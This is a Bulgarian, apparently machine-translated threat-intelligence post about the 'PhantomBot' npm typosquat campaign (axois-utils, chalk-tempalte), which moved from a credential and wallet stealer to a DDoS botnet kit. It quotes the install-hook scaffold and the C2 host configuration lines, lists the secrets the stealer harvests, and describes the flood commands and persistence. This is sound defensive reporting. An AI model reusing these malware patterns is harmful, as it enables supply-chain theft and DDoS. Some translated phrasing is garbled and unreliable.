PhantomBot: от кражба на идентификационни данни до ботнет

PhantomBot: Кампания, базирана на Typosquat, която се превърна от кражба на идентификационни данни до готов комплект за ботнет мрежа

TL; DR

Един единствен NPM издател, deadcode09284814, е провел кампания с неправилни правила срещу легитимните axios намлява chalk-template пакети от средата на май 2026 г.

Кампанията започна като конвенционална кражба на идентификационни данни и портфейли, извличайки данни към... HTTPS тунел на Serveo.

On 2026-05-17с axois-utils:1.0.9, операторът е сменил изцяло полезния товар: същото тройно инсталиращо скеле, същият издател, същото име на пакета.

Но инсталационният скрипт вече е кросплатформен DDoS ботнет рекрут.

Полезният товар говори за localhost.run тунел и приема команди за наводнение, превръщайки заразените среди в част от ботнет мрежа, способна на DDoS.

Операторът дори е изпратил Двоичен файл на C2 сървъра вътре в tarball-а, показвайки ясна ескалация от кражба на идентификационни данни до активна ботнет инфраструктура.

Два пакета, четири версии все още активни в системния регистър, и един оператор, който сега изпълнява и двата модула паралелно.

Тежест: висока.

Главен МОК Всяка версия на axois-utils или chalk-tempalte от издателя deadcode09284814

Атаката: Как работи

Кампанията е изградена върху умишлено скучна платформа за доставки: две неправилни имена на пакети, с една буква различни от пакети със стотици милиони седмични изтегляния (Аксиос, шаблон с тебешир) и тройна инсталация hooks които гарантират изпълнение. Интересното е какво представлява скелето носи — и фактът, че операторът е променил товара, без да променя нищо друго.

Споделеното скеле

Всяка публикувана версия на двата пакета декларира едни и същи три жизнени цикъла hooks in package.json:

"scripts": {    "preinstall":  "node <payload>.js",    "install":     "node <payload>.js",    "postinstall": "node <payload>.js"  } 

Изброяване на полезния товар под всичките три hooks е прекалено — след инсталиране сам би работил по подразбиране npm инсталиранеИзборът е важен: npm install –ignore-scripts пропуска скриптове, но няколко често срещани работни процеси (CI кешът възстановява този жизнен цикъл на повторно изпълнение) hooks избирателно или разработчици, които само извършват одит след инсталиране) направете тройно излишна декларация най-безопасният залог за атакуващия.

тебеширен шаблон добавя втори механизъм: той декларира axois-utils:^1.0.7 като среда за изпълнение зависимосттаИнсталиране на правописната грешка шаблон с тебешир следователно изтегля и братския typosquat и двата полезни натоварвания се изпълняват. Двата пакета са координирана двойка, а не независими обяви.

Фаза А — крадец на удостоверения / портфейли (2026-05-15 → настояще време)

Фаза А е оригиналният полезен товар. Зареждащият механизъм е къс postinstall.js който сочи към обратен тунел на Serveo HTTPS:

// chalk-tempalte/postinstall.js:11-13  const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com";  const C2_PORT = 443;  const C2_PATH = '/collect'; 

Поддомейна Serveo кодира целевия IP адрес (80.200.28.28) директно в името на хоста — разпознаваема конвенция за тази услуга. Операторът върти произволния префикс на поддомейна между версиите, за да избегне наивни списъци с блокирани домейни, но основният IP адрес никога не се променя. (тебешир-шаблон:1.0.14 използва 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 употреба f04a273bd84c0622-….)

postinstall.js ръцете си далеч от phantom.js, пакетен „колекторен“ модул със 7 667 реда. phantom.js разхожда домакина за:

SSH частни ключове (~/.ssh/*)
.npmrc съдържание и всякакви npm_* env токени
Файлове за идентификационни данни на AWS, GCP и Azure
GitHub личен токен за достъп (ghp_*, gho_*, ghu_*, ghs_*)
Артефакти за крипто портфейли за Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash, Dash
Рекурсивен .env* разходка ~/projects, ~/dev, ~/code, ~/workspaceи инсталирането на cwd
Истории на Shell и пълната информация process.env

Пакетът е ПУБЛИКУВАН в тунела Serveo на адрес / събирамНяма обфускация, няма анти-виртуална логика, няма етапно генериране — залогът на оператора е върху обема и скоростта.

Фаза Б — Набиране на PhantomBot за DDoS атаки (само 17.05.2026 г., axois-utils:1.0.9)

Фаза Б заменя phantom.js + postinstall.js с един файл, наречен distrube.js (печатната грешка е на оператора). Triple-hook scaffold в package.json е непроменен; пакетът запазва същото име, обхват и модел за увеличаване на версията. Отвън, axois-utils:1.0.9 изглежда като незначително продължение на 1.0.6. Вътре е различно семейство зловреден софтуер.

distrube.js отваря се с конфигурационен блок, който назовава собствената марка на оператора:

// axois-utils-1.0.9/distrube.js:11-15
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally)
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel
const C2_PORT = 443; // HTTPS port - tunnel handles SSL
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

Коментарите са адресирани до бъдещ оператор, който ще изпълнява комплекта („Използвайте вашия HTTPS URL адрес на localhost.run“). Това, плюс това, което се доставя до клиента на бота, е знак, че това не е просто полезен товар на жертвата — това е самият комплект.

Потокът:

  1. Постоянство изпълнява се първо. Скриптът се инсталира по три различни начина за всяка операционна система (регистър бягане + Стартова папка + schtasks на Windows; crontab + услуга за фантом-бот системна единица + .bashrc/.zshrc добавяне + /etc/rc.local на Линукс; LaunchAgent com.phantom.bot.plist в macOS). Името на услугата за постоянство и етикетът LaunchAgent са едновременно фантом-бот / com.phantom.bot, откъдето идва и името на кампанията.
  2. Изтегляне на системна информация изпълнява се веднъж — еднократно изпращане на пръстов отпечатък към b94b6bcfa27554.lhr.life:443/collect, съдържащо име на хост, платформа, arch, потребителско име, CPU/RAM, мрежови интерфейси, process.env, cwd, домашна директория, версия на възела и публичен IP адрес. Това е много по-малко агресивно от Фаза А: без SSH, без портфейли, без .env рекурсия. Работата на бота е да регистрира, а не да краде.
  3. Сърдечен ритъм Отваря HTTPS POST на всеки 30 секунди към b94b6bcfa27554.lhr.life:443/. Потребителският агент е PhantomBot/1.0. TLS проверката е изрично деактивирана (rejectUnauthorized: false). Отговорът на C2 се анализира като JSON във вида {type, target, port, duration, threads, method} и се изпраща.
  4. Арсенал от наводнения е свързан с шест команди:
Тип команда Модули бележки
пинг Отговор за жизненост Ботът се идентифицира
HTTP HTTP флуид Захранване от заявки от слой 7
HTTPS HTTPS наводнение Същото като http, обвито с TLS
tcp TCP наводнение 65 KB спам с произволен полезен товар
UDP UDP наводнение 65 507-байтови UDP пакети
бърз DoS с бързо нулиране на HTTP/2 Техниката CVE-2023-44487 от 2023 г.

И петте модула за наводнения вземат цел, порт, продължителност, и теми аргумент — ботът е общ флудър под наем, който не е насочен към конкретна жертва. Списъкът с жертви на оператора се намира на C2, а не в пакета.

Какво е новото тук — изпратеният двоичен файл C2

Фаза А е позната форма: кражба на идентификационни данни, инсталиране на кука, тунелиране от доставчика C2. Фаза Б е Също позната форма — DDoS ботнет мрежите са неизменна част от злонамерените npm пакети от години. Необичайното е, че операторът е изпратил страна на сървъра от комплекта в npm tarball-а:

  • c2 — 4-мегабайтов компилиран двоичен файл Go ELF
  • c2.go — 426-редовият Go изходен код за този двоичен код

Нито един от двата файла не се извиква от инсталационен hook. Те не са част от полезния товар на жертвата. Те се намират в директорията на пакета по същия начин, както би се намирал файл с документация. Най-правдоподобното тълкуване е, че операторът е преместил работното си дърво за разработка в npm, без да е подготвил списъка с файлове - истинско OpSec фалшифициране - и това, което е доставено, е пълният двустранен комплект: клиентът, който изпълнява жертвата, и сървърът, който изпълнява операторът.

Това е частта от историята, която оправдава формулировката за „готов за употреба ботнет комплект“. Всеки, който е изтеглил axois-utils:1.0.9 „преди свалянето“ не само има извадка от жертва — те имат работещ C2 сървър.

Опората, с едно изречение

Същият издател, същите имена на пакети, същото тройно скеле, същото „фантомно“ брандиране — но полезният товар промени модела на монетизация за една нощот „събиране на тайни, които мога да препродам“ до „наемане на капацитет за наводнения, който мога да отдам под наем“. Времето за инсталиране (TTP), което защитниците трябва да следят, е почти идентично и в двете фази; защити, базирани на сигнатури, са свързани с низовете на пътя на портфейла от Фаза А или с phantom.jsКолекторът от 7 667 реда би пропуснал изцяло Фаза Б.

Дата (UTC) събитие
2026-05-15 Първа публикация: axois-utils:1.0.4 (Тестова компилация за LAN, развойна платформа на 192.168.129.19)
2026-05-15 axois-utils:1.0.6 публикувано — Фаза A C2 е заменена с 80.200.28.28 през тунела Serveo; коментарът към източника // Change to '80.200.28.28' for public потвърждава размяната dev→prod
2026-05-16 chalk-tempalte:1.0.14 намлява 1.0.16 публикувано — деклариране на верижен товарач axois-utils:^1.0.7 като зависимост по време на изпълнение; поддомейнът на Serveo се завърта
2026-05-16 Кампания от Фаза А, открита по време на рутинно npm сканиране; приложени са вердикти за потвърдено злонамерено поведение.
2026-05-17 axois-utils:1.0.9 публикувано — обобщение на полезния товар: набиране на PhantomBot DDoS чрез тунел localhost.run; от страна на оператора c2 двоичен и c2.go изходният код е добавен в tarball-а
2026-05-17 chalk-tempalte:1.0.19 намлява 1.0.20 публикувано — все още Фаза А (крадец); операторът вече изпълнява и двата модула паралелно
2026-05-17 Откриване на Фаза Б по време на рутинно сканиране; заключенията са приложени за всички 2026-05-17 версии
(продължава) Докладите за премахване са в процес на разработка; и четирите публикувани пакета остават налични в регистъра към момента на писане.

Индикатори за компромис

Услуги

Екосистема Пакет Версии
NPM axois-utils (печатна грешка на аксиоса) 1.0.4, 1.0.6, 1.0.9
NPM chalk-tempalte (typosquat на тебеширен шаблон) 1.0.14, 1.0.16, 1.0.19, 1.0.20

Самоличност на автора

Област Стойност
издател на npm deadcode09284814
Имейл на издателя phantomdeadcode@tutamail.com
SCM проверка нито един

Командване и контрол

Фаза Endpoint Транспорт
A f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect HTTPS тунел на Serveo
A 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect HTTPS тунел на Serveo (по-ранна версия)
A 80.200.28.28:443/collect Базова VPS крайна точка
B b94b6bcfa27554.lhr.life:443/ localhost.run HTTPS обратен тунел

Дайджести на файлове (SHA-256)

досие SHA-256 бележки
c2 (Go ELF, 4 MB) 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 C2 сървър от страната на оператора, доставен вътре axois-utils:1.0.9
c2.go (426 реда) 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 Go изходен код за двоичния файл C2
distrube.js 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 Фаза Б бот клиент
phantom.js (chalk-tempalte:1.0.19) 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 Фаза А за събиране на удостоверения / портфейли
phantom.js (chalk-tempalte:1.0.20) d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 Колектор Фаза А (вариант 1.0.20)
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 Фаза А зареждащ механизъм, байтово идентичен и в двете версии

Атрибуция и мотивация

Проследяваме тази кампания като PhantomBot, като заимства собствената марка на оператора от Потребителски агент: PhantomBot/1.0 заглавката на сърдечния ритъм, услуга за фантом-бот системната единица, com.phantom.bot етикетът LaunchAgent и phantomdeadcode@ имейл адрес. Операторът е последователен относно това име в поне четири артефакта.

Каталог на сигнали

  • Издател - мъртъв код09284814 на npm. Акаунт с еднократно управление, имейл за еднократна употреба от Tutamail, не SCM проверка. Няма предходна история на публикации извън тази кампания.
  • Повторна употреба на брандиране — „phantom“ се появява в имейла на издателя, в името на файла на колектора Phase A (phantom.js), в името на услугата за постоянство Фаза Б (услуга за фантом-бот), в етикета на LaunchAgent (com.phantom.bot) и в потребителския агент на бота (ФантомБот/1.0).
  • Инфраструктура — Един VPS на 80.200.28.28 фронтове Фаза А чрез ротация на поддомейна Serveo; Фаза Б се премества към a localhost.run обратен тунел (b94b6bcfa27554.lhr.life). И двете услуги на доставчиците са безплатни и изискват само изходящ SSH от страна на оператора, което е съвместимо с нискобюджетни конфигурации с ниска оперативна сигурност.
  • кодов стил — Обикновен JavaScript навсякъде; без обфускация, без кодиране на низове, без проверки срещу виртуална машина. Имената на променливите са описателни (кражба на системна информация, executeCommand, httpFlood). Коментари в distrube.js директно се обръщат към бъдещ оператор („Използвайте вашия HTTPS URL адрес на localhost.run“), което предполага, че файлът е бил предназначен за преразпространение като комплект, а не за използване от един-единствен нападател.
  • Фиш от оперативната сигурност — Тарболът от Фаза Б съдържа както бот клиента, така и C2 сървъра от страна на оператора (c2 ЕЛФ + c2.go източник). Това е в съответствие с оператор, който е изпратил работното си дърво към npm без да е проверил списъка с файлове. Или операторът е неопитен, или комплектът е означаваше да се разпространява публично и двоичният файл C2 е част от продукта.
  • Самопотвърждение - axois-utils:1.0.4 съдържа коментара на източника // Промяна на „80.200.28.28“ за публичен достъп на ред 12, потвърждавайки напредъка в разработката / подготовката / производството, който операторите обикновено отричат.

Мотивация

Полезният товар от Фаза А е директна финансова кражба: идентификационни данни, облачни ключове, GitHub токени и крипто портфейли имат ликвидни пазари за препродажба. Фаза Б също е финансова, но непряка: DDoS услугите за наемане („booter“) наемат капацитет за претоварване с минута, а ботове като този, доставен тук, са инвентарът, с който работят тези услуги. 30-секундният сърдечен ритъм, общият... цел/порт/продължителност схемата на командите и арсенала от пет протокола за наводнения са standard продукт на оператор на подстрекател.

Паралелно изпълнение на двата модула — тебешир-шаблон:1.0.19 намлява 1.0.20 продължават да изпращат крадеца, докато axois-utils:1.0.9 изпраща бота — предполага, че операторът хеджира потоците от приходи, вместо да се откаже от Фаза А. Завойът е допълнение, а не заместител.

Това, което не твърдим

Не успяхме да потвърдим реална самоличност зад мъртъв код09284814 дескриптор и не приписваме тази кампания на нито един посочен хакер, група или държава. „Фантомното“ брандиране е достатъчно последователно в артефактите, за да предполага един-единствен оператор, но доставката на C2 двоичния файл в стил kit оставя отворена възможността бъдещи пакети от несвързани дескриптори да използват повторно същия код.

Въздействие

Легитимните цели за клек Аксиос намлява шаблон с тебешир са широко зависими в екосистемата на JavaScript; Аксиос сам по себе си е сред тридесетте най-изтегляни npm пакета. Имената с типосквот са на едно натискане на клавиш разстояние от истинските (аксосАксиос, шаблоншаблон), и двете са езиково правдоподобни правописни грешки.

Не успяхме да получим надеждна статистика за изтеглянията на злонамерените версии преди премахването им — npm не запазва броя на изтеглянията за всяка версия, след като даден пакет бъде премахнат от публикуването му, и npms.ioПрокси сървърите в стил - са шумни в този мащаб. Всяка организация, чийто заключващ файл се разрешава в пакет с име axois-utils or тебеширен шаблон от издателя мъртъв код09284814 трябва да се третират като компрометирани: ротирайте всички налични идентификационни данни process.env на засегнатия хост, проверете векторите за персистентност за всяка операционна система (вижте „Какво трябва да направят защитниците“ по-долу) и премахнете зависимостта.

Възникващи модели

Тази кампания е пример за промяна, която наблюдавахме в няколко скорошни инцидента с нови мениджъри на социални мрежи: Скелето с монтажни куки е издръжливият активполезният товар е сменяемСъщият издател, същият пакет, същото предварително инсталиране / инсталирам / след инсталиране тройна и дори същата честота на превключване на версиите — единственото нещо, което се промени между axois-utils:1.0.6 намлява axois-utils:1.0.9 беше ли файлът hooks изпълнение. Откриване, базирано на подпис, е свързано с полезния товар от Фаза А (низове за път на портфейла, phantom.jsКолекторът от 7,667 реда, хостът Serveo C2), би маркирал първите три версии и би пропуснал Фаза Б изцяло.

Същият модел се наблюдава и в други кампании от 2026 г., които сме проследили: един-единствен оператор със стабилна платформа, редуващ се между кражба на идентификационни данни, клиенти за измама на изпити, ексфилтрация с Telegram-ботове и сега DDoS вербуване. Защитниците, които разчитат на подписи на полезни данни, ще продължат да губят втория кръг на всяка кампания.

Следствието е, че TTP-тата по време на инсталиране са по-добрият сигналТройни декларации за инсталиране на куки, инсталиращи скриптове, които импортират HTTPS or детски_процес, инсталирайте скриптове, които пишат в папките за стартиране на потребителя, и инсталирайте скриптове, които разрешават имена на хостове на безплатни услуги за обратно тунелиране (Serveo, localhost.run, ngrok, cloudflared) са рядко срещани в легитимни пакети и често срещани в злонамерени.

Какво трябва да направят защитниците

  • Одит на заключен файл. Търсене всеки package-lock.json / прежда.заключване / pnpm-lock.yaml във вашата организация за точните низове axois-utils намлява тебеширен шаблонПриемайте всеки мач като компромис.
  • Ротиране на тайни върху засегнатите хостове. Фаза А - групово събрани SSH, облачни, GitHub, npm и портфейлни идентификационни данни. Приемете всички идентификационни данни, които някога са налични в process.env, ~ / .ssh, ~/.aws, ~/.npmrc, ~ / .configили някоя друга .env* файлът на засегнатия хост е изложен.
  • Премахване на персистенцията (Фаза Б). В Windows изтрийте HKCU\Софтуер\Microsoft\Windows\Текуща версия\Изпълнение\Системна актуализация, Премахване %APPDATA%\Microsoft\Windows\Старт меню\Програми\Стартиране\system-update.bat, и schtasks /delete /tn SystemUpdate /fВ Linux, кронтаб -е и премахнете @рестартиране на възел …, systemctl –потребител деактивира –сега phantom-bot.service след това изтрийте ~/.config/systemd/user/phantom-bot.service, скраб .bashrc / .zshrc / /etc/rc.localВ macOS, launchctl разтоварване ~/Библиотека/LaunchAgents/com.phantom.bot.plist след това изтрийте plist-а.
  • Блокирайте C2 хостовете. Добавете четирите крайни точки C2 от таблицата IOC към вашия списък с блокирани изходи. *.serveousercontent.com намлява *.lhr.life* може да бъде блокиран изцяло, ако вашата среда няма легитимно използване на услуги за обратно тунелиране.
  • Лов по време на инсталиране TTP, а не полезен товар. Записи във файла за заключване на инвентара, чиито package.json декларира, предварително инсталиране, инсталирам, и след инсталиране всички сочат към един и същ скрипт. Проверете възрастта на пакета и статуса на проверка от издателя. Този модел е рядък в легитимни пакети и е най-надеждният сигнал, който PhantomBot използва повторно.
  • Одит за двоичния файл C2. Всеки, който е изтеглил axois-utils:1.0.9 има C2 сървъра на оператора (c2 ЕЛФ, ша256 165fa92d…) на диска. Сканирайте кешовете и хранилищата на артефакти на CI. Двоичният файл е спящ сам по себе си, но присъствието му на работна станция е недвусмислено доказателство, че пакетът е бил инсталиран.

Затваряща линия

Един и същ оператор, един и същ пакет и един и същ инсталационен hook могат да предоставят напълно различни заплахи в рамките на 48 часа. Следете скелета, а не полезния товар.

инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni